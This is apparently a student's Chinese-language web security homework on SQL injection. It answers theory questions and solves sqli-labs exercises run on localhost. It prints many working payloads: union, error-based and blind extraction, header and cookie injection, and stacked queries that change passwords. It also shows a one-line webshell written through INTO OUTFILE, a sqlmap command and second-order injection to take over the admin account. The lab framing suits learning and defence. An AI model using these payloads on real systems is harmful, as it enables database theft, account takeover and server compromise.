web安全作業之SQL隱碼攻擊2
需要掌握的知識
- POST提交與Get提交方法的區別
- Mysql POST注入(POST Union注入、POST報錯注入、POST盲注、POST報頭注入)
- Mysql注入檔案上傳
- 堆疊注入
- 二次注入
- http協議請求報文
- 理解PHP中定義的以下預定義變數:
$_REQUEST (獲取GET/POST/COOKIE) COOKIE在新版本已經無法獲取了
$_POST (獲取POST傳參)
$_GET (獲取GET的傳參)
$_COOKIE (獲取COOKIE的值)
$_SERVER (包含了諸如頭資訊(header)、路徑(path)、以及指令碼位置(script locations)等等資訊的陣列),功能強大。
$_SERVER['HTTP_HOST'] 請求頭資訊中的Host內容,獲取當前域名。
$_SERVER["HTTP_USER_AGENT"] 獲取使用者相關資訊,包括使用者瀏覽器、作業系統等資訊。
$_SERVER["REMOTE_ADDR"] 瀏覽網頁的使用者ip。
理論作業
- 請描述POST提交與Get提交的區別?
- 請描述萬能密碼的原理?
- 請分別描述http報送中的User-Agent、Referer欄位的含義?
- 請描述Cookie注入的原理?
- 請簡述MySQL寫入WebShell的必備條件與方法?
- 請描述堆疊注入與二次注入的原理?
1.區別:
1. Get提交可以被快取,Post不會
2. Get提交引數會保留在瀏覽器的歷史記錄裡,Post提交不會
3. Get提交可以被收藏為書籤,post不會
4. Get提交有長度限制,最長2048個字元,Post提交沒有長度要求,不是隻允許使用ASCII字元,還可以使用二進位制資料
5. post提交比Get提交更安全
2.uname=admin' or 1=1#(萬能密碼)
原理:#可以註釋後面的password,然後or 1=1使得輸入任何字元,結果都為真,因此稱作萬能密碼
3.User-Agent(UA):即使用者代理,內容是瀏覽器及版本資訊,電腦資訊等。常見用途是限制開啟軟體,瀏覽器及上網行為管理等。
Referer:即HTTPReferer,是頭部資訊header的一部分,告訴伺服器該網頁是從哪個頁面連結過來的,該伺服器因此可以獲得一些資訊用於處理
4.cookie注入原理為:利用頭部資訊中的cookie而發起的注入攻擊,從本質上講,與傳統的SQL隱碼攻擊並無不同,只是表現形式上略有差別罷了。
當我們使用request("引數名稱")方式獲取客戶端提交的資料,並且沒有對使用request.cookies("引數名稱")方式提交的資料進行過濾時,Cookie注入就產生了。
5.想要成功向MySQL寫入WebShell需要至少滿足以下4個條件:
A.資料庫的當前使用者為ROOT或擁有FILE許可權;
B.知道網站目錄的絕對路徑;
C.PHP的GPC引數為off狀態;
D.MySQL中的secure_file_priv引數不能為NULL狀態。
P.S:@@basedir()是安裝MYSQL的安裝路徑 ,@@datadir()是安裝MYSQL的資料檔案路徑,可以結合聯合查詢來獲取絕對路徑
寫入方法:
A.使用outfile方法
B.基於log日誌寫入
6.
堆疊注入原理:一堆SQL語句一起執行。在;結束後繼續構造下一條語句,前提是利用<font color=red>mysqli_multi_query()函式</font>才支援多條sql語句同時執行
二次注入原理:攻擊者構造的惡意資料儲存在資料庫後,惡意資料被讀取並進入到SQL查詢語句所導致的注入。防禦者可能在使用者輸入惡意資料時對其中的特殊字元進行了轉義處理,但在惡意資料插入到資料庫時被處理的資料又被還原並儲存在資料庫中,當Web程式呼叫儲存在資料庫中的惡意資料並執行SQL查詢時,就發生了SQL二次注入。
實踐作業
任務1:http://localhost/sqli/Less-13/
任務2:http://localhost/sqli/Less-15/
任務3:http://localhost/sqli/Less-18/
任務4:http://localhost/sqli/Less-19/
任務5:http://localhost/sqli/Less-20
任務6:使用outfile和log日誌寫入的方法對http://localhost/sqli/Less-7進入SQL隱碼攻擊
任務7:堆疊注入實驗
【sqli-labs】 less38 GET -Stacked Query Injection -String based (GET型堆疊查詢字元型注入)
【sqli-labs】 less39 GET -Stacked Query Injection -Intiger based (GET型堆疊查詢整型注入)
【sqli-labs】Less-42
【sqli-labs】Less-44
【sqli-labs】Less-45
任務8:二次注入實驗【sqli-labs】Less-24
任務一 :LESS-13 single quotes-string-with twist
1.首先輸入admin' 111判斷注入閉合方式為')
2.這裡使用萬能密碼直接過
3.開始猜欄位數
4.利用報錯資訊報資料庫名
admin') union select count(),concat_ws('_',(select database()),floor(rand(0)2)) as a from information_schema.tables group by a#
5.當然也可以在username中輸入以下報錯方式
admin') union select extractvalue(1,concat(1,(select database())))#
admin') and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security")),2)#
6.之後爆欄位名和資料和前面的操作差不多
admin') union select count(),concat_ws('_',(select column_name from information_schema.columns where table_schema="security" and table_name="users" limit 1,1),floor(rand(0)2)) as a from information_schema.tables group by a#
admin') union select count(),concat_ws('_',(select username from security.users limit 0,1),floor(rand(0)2)) as a from information_schema.tables group by a#
任務二:LESS-15 Blind-Boolian/time Based-single quotes
1.post盲注,先抓個包發給重發器,然後進行修改
2.輸入adm' or 1= 1#後頁面正常,= 2就顯示錯誤,首先考慮用布林盲注試試,判斷資料庫長度
uname=adm' or length((select database()))>=8#&passwd=123&submit=Submit
3.uname=adm' or ascii((select substr(database(),1,1)))>=115#&passwd=123&submit=Submit
可以使用burp suite爆破uname=adm' or (select substr(database(),1,1))='s'#&passwd=123&submit=Submit
4.uname=adm' or (select substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))='e'#&passwd=123&submit=Submit
5.之後就如出一轍,按順序爆欄位和資料即可
uname=adm' or substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i'#&passwd=123&submit=Submit
uname=adm' or substr((select username from security.users limit 0,1),1,1)='d'#&passwd=123&submit=Submit
任務三:LESS-18 Header injection-Uagent field -Error based
1.該題使用萬能密碼admin' or 1=1#無法登陸,但出現了IP地址,所以嘗試報頭注入
2.首先輸入admin1,admin1登入成功,抓包併傳送到repeater,然後刪除UA的內容,輸入a'判斷是否有注入,出現錯誤資訊,做報錯注入
3.修改UA為:' or updatexml(1,concat('~',(select database())),2),3)#
4.之後就是爆表,爆欄位和資料,以此類推
123' or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),2),3)#
123' or updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),2),3)#
任務四:LESS-19 Header injection-Referer field-Error based
1.首先admin1,admin1登入成功看到頁面有referer的資訊
2.接著在referer處,輸入’覆蓋原有內容,會報錯,因此可知用報錯注入
3.構造' or extractvalue(1,concat(0x7e,(select database()))),2)#爆庫名
這裡要注意和less-18一樣後面要有,2),因為其構造原理為:
程式碼中獲取referer的語句:
INSERT INTO 'security‘.'referers'('referer','ip_address') VALUES ('$referer','$IP')
修改語句如:INSERT INTO ’security‘.'referers'('referer','ip_address') VALUES (1,2)
在1的位置構造語句:’ or extractvalue(1,concat('#',(select database()))),2)#
4.之後爆表名等和之前操作差不多,在此不做過多贅述
' or extractvalue(1,concat("~",(select group_concat(table_name) from information_schema.tables where table_schema="security"))),2)#
' or extractvalue(1,concat("~",(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"))),2)#
' or extractvalue(1,concat('#',(select group_concat(username,'~',password) from security.users))),2)#
任務五:LESS-20 Cookie injection-Uagent field-Error based
1.首先輸入admin1,admin1登入抓包,發給repeater
2.在cookie處令uname=admin'出現錯誤回顯,再加上 ' and 1=1#就正常,1=2就錯誤
3.由上面可知存在sql注入,用order by爆欄位數與顯示位,可知欄位數為3
4.爆資料庫名和表名
uname=-1' union select 1,(select database()),3#
uname=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="security"),3#
5.接下來爆欄位名和資料,方法和上面一樣
任務六:使用outfile和log日誌寫入對Less-7注入
1.首先前提是mysql有讀寫檔案的許可權,即secure_file_priv的值為''
2.然後判斷閉合方式,'單引號出現異常,"雙引號頁面正常,可知有一個引號,然後' and 1=1--+又是錯誤的,說明還有其他的,試試 ')和'))可知閉合方式為')),接著猜測欄位數為3(id=1')) group by 3--+)
3.然後寫入一句話木馬
id=1')) union select 1,2,"" into outfile "C:\\phpshootingrange\\PHPTutorial\\WWW\\a.php"--+
4.使用webshell工具連線一句話木馬即可,這裡使用中國菜刀
此題也可用sqlmap爆庫,python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-7/?id=1" --current-db
任務7:堆疊注入實驗
LESS-38 GET -Stacked Query Injection -String based
1.首先確定閉合方式為單引號字元,然後判斷欄位數,使用聯合查詢
id=1' order by 3--+
2.獲取資料庫,表名和欄位
id=-1' union select 1,(select database()),3--+
id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3--+
id=-1' and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3) --+
3.進行堆疊注入判斷
id=-1';create database aaa--+
id=-1' union select 1,(select schema_name from information_schema.schemata where schema_name='aaa'),3--+
4.利用增刪改語句修改資料庫中的資料
id=1';insert into users (id,username,password) value('20','spiderman','996')--+
5.然後查詢資料是否插入成功
LESS-39 GET -Stacked Query Injection -Intiger based
1.首先還是判斷閉合方式為整型,然後欄位數為3,使用聯合查詢得到庫名,表名,欄位和資料等
id=-1 union select 1,(select database()),3--+
id=-1 union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3--+
id=-1 and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3) --+
2.判斷是否有堆疊注入
id=-1;create database aaa--+
id=-1 union select 1,(select schema_name from information_schema.schemata where schema_name='aaa'),3--+
3.最後新增或者修改資料即可
id=1;update users set password='886' where id='20'--+
4.查詢資料看是否成功
LESS-42 POST-Error based-string-stacked
1.首先判斷注入點,輸入admin'探測無顯示,但是密碼輸入1'卻顯示錯誤,輸入1'#無錯誤顯示,說明密碼處有SQL隱碼攻擊
2.在密碼處輸入1' order by 4#顯示錯誤,所以欄位數為3
3.密碼輸入1' union select 1,2,3# 以此來顯示回顯
4.接著在密碼處聯合查詢爆庫,表,欄位和資料,和之前一樣
-1' union select 1,(select database()),3#
-1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3#
-1' and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3)#
5.判斷是否有堆疊注入
1';create database bbb#
-1' union select 1,(select schema_name from information_schema.schemata where schema_name='bbb'),3#
6.之後增刪改資料即可
1';update users set password='123456' where id=8#
然後用admin,123456登入進去即可
LESS-44 POST-Error based-string-stacked-blind
1.首先判斷閉合方式,在密碼處輸入1' or 1=1#登陸成功,所以閉合方式為',且輸入'無明顯錯誤回顯,存在布林盲注
2.輸入1' or 1=1;create database ccc;
1' or (select schema_name from information_schema.schemata where schema_name='ccc')='ccc'#
可知存在堆疊注入
3.進行布林盲注爆庫,表,欄位和資料,可以bp抓包進行爆破
1' or substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)='u'#
其他的操作類似
4.最後使用增刪改查資料即可
1' or 1=1;update users set password='555' where id='20'#
輸入spiderman,555登陸即可
LESS-45 POST-Error based-string-stacked-blind
1.這個題和44一樣,只是閉合方式為'),將上題的操作稍作修改即可,在此不做過多贅述
任務八:二次注入(LESS-24)
1.這題知道admin,但是不知道密碼,首先註冊一個使用者為admin'#
點選new user click here?
2.然後使用admin'#使用者登入,並修改密碼為654321
使用admin,654321再次登入
3.登陸成功
4.其原理為在修改密碼,
此時程式碼為:
update users set password='new_pass' where username='admin'#'and password='123456'
實際上執行的程式碼為:
update users set password='new_pass'where username='admin'